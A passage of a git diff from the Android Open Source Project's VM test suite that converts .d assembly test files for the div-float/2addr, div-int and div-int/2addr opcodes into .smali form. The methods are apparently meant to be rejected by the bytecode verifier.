-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_2.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 3.14
-       div-float/2addr v0, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali
new file mode 100644
index 0000000..8909306
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float/2addr v0, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d
deleted file mode 100644
index f9bddfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_3.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       const-wide v0, 1234
-       div-float/2addr v7, v0
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali
new file mode 100644
index 0000000..5d315b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       const-wide v0, 1234
+       div-float/2addr v7, v0
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d
deleted file mode 100644
index 377cda1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_4.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       div-float/2addr v5, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali
new file mode 100644
index 0000000..0688942
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float/2addr v5, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d
deleted file mode 100644
index 2f5a998..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_5.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 8
-       div-float/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali
new file mode 100644
index 0000000..6cd98ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d
deleted file mode 100644
index ed354e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_6.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float/2addr v6, v8
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali
new file mode 100644
index 0000000..561640a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v8
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d
deleted file mode 100644
index aaaf0a3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_1.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali
new file mode 100644
index 0000000..537483c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_1.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d
deleted file mode 100644
index 8fb324c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v1, 3.1415
-       div-int v0, v3, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali
new file mode 100644
index 0000000..872b717
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 3.1415
+       div-int v0, v3, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d
deleted file mode 100644
index 446cc2c8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_3.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v1, 31415
-       div-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali
new file mode 100644
index 0000000..a71851a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_3.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v1, 31415
+       div-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d
deleted file mode 100644
index c476934..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_4.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali
new file mode 100644
index 0000000..50ecf8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_4.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d
deleted file mode 100644
index ad4c79c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_5.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       div-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali
new file mode 100644
index 0000000..8fada6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_5.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       div-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d
deleted file mode 100644
index 6da816d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_6.java
-.class public dot.junit.opcodes.div_int.d.T_div_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali
new file mode 100644
index 0000000..fcb1b05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int/d/T_div_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_6.java"
+.class  public Ldot/junit/opcodes/div_int/d/T_div_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d
deleted file mode 100644
index 00b88e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_1.java
-.class public dot.junit.opcodes.div_int_2addr.d.T_div_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       div-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali
new file mode 100644
index 0000000..536bf64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       div-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d
deleted file mode 100644
index 10e15fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_int_2addr/d/T_div_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_int_2addr_2.java
